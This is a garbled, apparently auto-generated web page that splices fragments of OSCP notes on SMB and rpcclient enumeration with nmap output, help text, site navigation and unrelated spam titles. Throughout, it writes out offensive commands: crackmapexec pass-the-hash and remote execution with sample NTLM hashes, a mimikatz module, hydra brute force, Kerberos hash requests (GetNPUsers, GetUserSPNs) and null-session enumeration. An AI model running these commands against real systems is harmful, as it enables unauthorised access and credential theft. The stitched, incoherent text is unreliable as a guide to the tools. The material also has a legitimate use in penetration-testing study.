rpcclient enumeration oscp

with a RID:[0x457] Hex 0x457 would = decimal. | Type: STYPE_DISKTREE IS~[hostname] <00> - M rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1015 path: C:\tmp Learn. SMB2 Windows Vista SP1 and Windows 2008, crackmapexec -u 'guest' -p '' --shares $ip, crackmapexec -u 'guest' -p '' --rid-brute 4000 $ip, crackmapexec -u 'guest' -p '' --users $ip, crackmapexec smb 192.168.1.0/24 -u Administrator -p, crackmapexec smb 192.168.1.0/24 -u Administrator -H E52CAC67419A9A2238F10713B629B565:64F12CDDAA88057E06A81B54E73B949B, crackmapexec -u Administrator -H E52CAC67419A9A2238F10713B629B565:64F12CDDAA88057E06A81B54E73B949B -M mimikatz 192.168.1.0/24, crackmapexec -u Administrator -H E52CAC67419A9A2238F10713B629B565:64F12CDDAA88057E06A81B54E73B949B -x whoami $ip, crackmapexec -u Administrator -H E52CAC67419A9A2238F10713B629B565:64F12CDDAA88057E06A81B54E73B949B --exec-method smbexec -x whoami $ip# reliable pth code execution. Learning about various kinds of compromises that can be performed using Mimikatz we know that the SID of a user is the security Identifier that can be used for a lot of elevating privileges and minting tickets attacks. result was NT_STATUS_NONE_MAPPED MAC Address: 00:50:56:XX:XX:XX (VMware) There was a Forced Logging off on the Server and other important information. Software applications that run on a NetBIOS network locate and identify each other via their NetBIOS names. To look for possible exploits to the SMB version it important to know which version is being used. SPOOLSS Using rpcclient it is possible to create a group. Guest access disabled by default. | Anonymous access: debuglevel Set debug level 1098/1099/1050 - Pentesting Java RMI - RMI-IIOP. adddriver Add a print driver getdriverdir Get print driver upload directory enumprivs Enumerate privileges Upon running this on the rpcclient shell, it will extract the groups with their RID. Assumes valid machine account to this domain controller. Created with Xmind. In the demonstration, it can be observed that the current user has been allocated 35 privileges. 794699 blocks available, Starting Nmap 7.70 ( https://nmap.org ) at 2018-09-27 16:37 EDT #These are the commands I run in order every time I see an open SMB port, smbclient -N //{IP}/ --option="client min protocol"=LANMAN1, crackmapexec smb {IP} --pass-pol -u "" -p "", crackmapexec smb {IP} --pass-pol -u "guest" -p "", GetADUsers.py -dc-ip {IP} "{Domain_Name}/" -all, GetNPUsers.py -dc-ip {IP} -request "{Domain_Name}/" -format hashcat, GetUserSPNs.py -dc-ip {IP} -request "{Domain_Name}/", smbmap -H {IP} -u {Username} -p {Password}, smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP}, smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`, crackmapexec smb {IP} -u {Username} -p {Password} --shares, GetADUsers.py {Domain_Name}/{Username}:{Password} -all, GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat, GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request, https://book.hacktricks.xyz/pentesting/pentesting-smb, Command: nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP}, Description: SMB Vuln Scan With Nmap (Less Specific), Command: nmap --script smb-vuln* -Pn -p 139,445 {IP}, Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} {IP} smb, Name: SMB/SMB2 139/445 consolesless mfs enumeration, Description: SMB/SMB2 139/445 enumeration without the need to run msfconsole, Note: sourced from https://github.com/carlospolop/legion, Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit'. -N, --no-pass Don't ask for a password The TTL drops 1 each time it passes through a router. Password: rpcclient enumeration - HackTricks Workgroup Master The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network. remark: PSC 2170 Series Connect to wwwroot share (try blank password), Nmap scans for SMB vulnerabilities (NB: can cause DoS), Enumerate SNMP device (places info in readable format), Enumerate file privileges (see here for discussion of file_priv), Check if current user superuser (on = yes, off = no), Check users privileges over table (pg_shadow). logonctrl2 Logon Control 2 SMB enumeration : oscp - Reddit dfsadd Add a DFS share queryaliasmem Query alias membership getprintprocdir Get print processor directory This cheat sheet should not be considered to be complete and only represents a snapshot in time when I used these commands for performing enumeration during my OSCP journey. It can be done with the help of the createdomuser command with the username that you want to create as a parameter. echodata Echo data Shortcut to New Folder (2).lnk A 420 Sun Dec 13 05:24:51 2015 The next command to demonstrate is lookupsids. This group constitutes 7 attributes and 2 users are a member of this group. addform Add form 445/tcp open microsoft-ds For instance, on Windows, SMB can run directly over TCP/IP without the need for NetBIOS over TCP/IP. guest access disabled, uses encryption. Start by typing "enum" at the prompt and hitting <tab><tab>: rpcclient $> enum enumalsgroups enumdomains enumdrivers enumkey enumprivs enumdata enumdomgroups enumforms enumports enumtrust enumdataex enumdomusers enumjobs enumprinter. | State: VULNERABLE The group information helps the attacker to plan their way to the Administrator or elevated access. | IDs: CVE:CVE-2006-2370 result was NT_STATUS_NONE_MAPPED rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-2002 rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1008 Enumerating Windows Domains with rpcclient through SocksProxy search type:exploit platform:windows target:2008 smb, domain.local/USERNAME%754d87d42adabcca32bdb34a876cbffb --pw-nt-hash, #You can use querydispinfo and enumdomusers to query user information, /usr/share/doc/python3-impacket/examples/samrdump.py, /usr/share/doc/python3-impacket/examples/rpcdump.py, # This info should already being gathered from enum4linux and enum4linux-ng, In file browser window (nautilus, thunar, etc), It is always recommended to look if you can access to anything, if you don't have credentials try using, #If you omit the pwd, it will be prompted. If these kinds of features are not enabled on the domain, then it is possible to brute force the credentials on the domain. If you get credentials, you can re-run to show new access: nmap --script smb-enum-shares -p 139,445 [ip]. In the scenarios where there is a possibility of multiple domains in the network, there the attacker can use enumdomains to enumerate all the domains that might be deployed in that network. # lines. -I, --dest-ip=IP Specify destination IP address, Help options | \\[ip]\wwwroot: Server Comment We can filter on ntlmssp.ntlmv2_response to see NTLMv2 traffic, for example. WORKGROUP <00> - M wwwroot Disk While Port 139 is known technically as NBT over IP, Port 445 is SMB over IP. The following lists commands that you can issue to SAMR, LSARPC, and LSARPC-DS interfaces upon, # You can also use samrdump.py for this purpose, Enumerate trusted domains within an AD forest. Checklist - Local Windows Privilege Escalation, Pentesting JDWP - Java Debug Wire Protocol, 161,162,10161,10162/udp - Pentesting SNMP, 515 - Pentesting Line Printer Daemon (LPD), 548 - Pentesting Apple Filing Protocol (AFP), 1098/1099/1050 - Pentesting Java RMI - RMI-IIOP, 1433 - Pentesting MSSQL - Microsoft SQL Server, 1521,1522-1529 - Pentesting Oracle TNS Listener, 2301,2381 - Pentesting Compaq/HP Insight Manager, 3690 - Pentesting Subversion (svn server), 4369 - Pentesting Erlang Port Mapper Daemon (epmd), 8009 - Pentesting Apache JServ Protocol (AJP), 8333,18333,38333,18444 - Pentesting Bitcoin, 9100 - Pentesting Raw Printing (JetDirect, AppSocket, PDL-datastream), 10000 - Pentesting Network Data Management Protocol (ndmp), 24007,24008,24009,49152 - Pentesting GlusterFS, 50030,50060,50070,50075,50090 - Pentesting Hadoop, Reflecting Techniques - PoCs and Polygloths CheatSheet, Dangling Markup - HTML scriptless injection, HTTP Request Smuggling / HTTP Desync Attack, Regular expression Denial of Service - ReDoS, Server Side Inclusion/Edge Side Inclusion Injection, XSLT Server Side Injection (Extensible Stylesheet Languaje Transformations), Pentesting CI/CD (Github, Jenkins, Terraform), Windows Exploiting (Basic Guide - OSCP lvl), INE Courses and eLearnSecurity Certifications Reviews, Stealing Sensitive Information Disclosure from a Web, (represented in hexadecimal format) utilized by Windows to. The deletedomuser command is used to perform this action. lsalookupprivvalue Get a privilege value given its name | Risk factor: HIGH Are you sure you want to create this branch? Enumerating User Accounts on Linux and Os X With Rpcclient rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1005 Enumerating Windows Domains with rpcclient through SocksProxy == Bypassing Command Line Logging This lab shows how it is possible to bypass commandline argument logging when enumerating Windows environments, using Cobalt Strike and its socks proxy (or any other post exploitation tool that supports socks proxying). dfsremove Remove a DFS share OSCP notes: ACTIVE INFORMATION GATHERING. | Type: STYPE_IPC_HIDDEN May need to run a second time for success. getdriver Get print driver information With an anonymous null session you can access the IPC$ share and interact with services exposed via named pipes. rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-501 | VULNERABLE: Allow connecting to the service without using a password? queryusergroups Query user groups | account_used: guest We will shine the light on the process or methodology for enumerating SMB services on the Target System/Server in this article. -P, --machine-pass Use stored machine account password change_trust_pw Change Trust Account Password rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-2004 Many groups are created for a specific service. --------------- ---------------------- The command netsharegetinfo followed by the name of the share you are trying to enumerate will extract details about that particular share. The polices that are applied on a Domain are also dictated by the various group that exists. Learn offensive CTF training from certcube labs online . found 5 privileges, SeMachineAccountPrivilege 0:6 (0x0:0x6) smbclient (null session) enum4linux. rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1004 Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. 135, 593 - Pentesting MSRPC - HackTricks

Bath, Maine Police Log, Michael Jackson Inspired Outfits, Articles R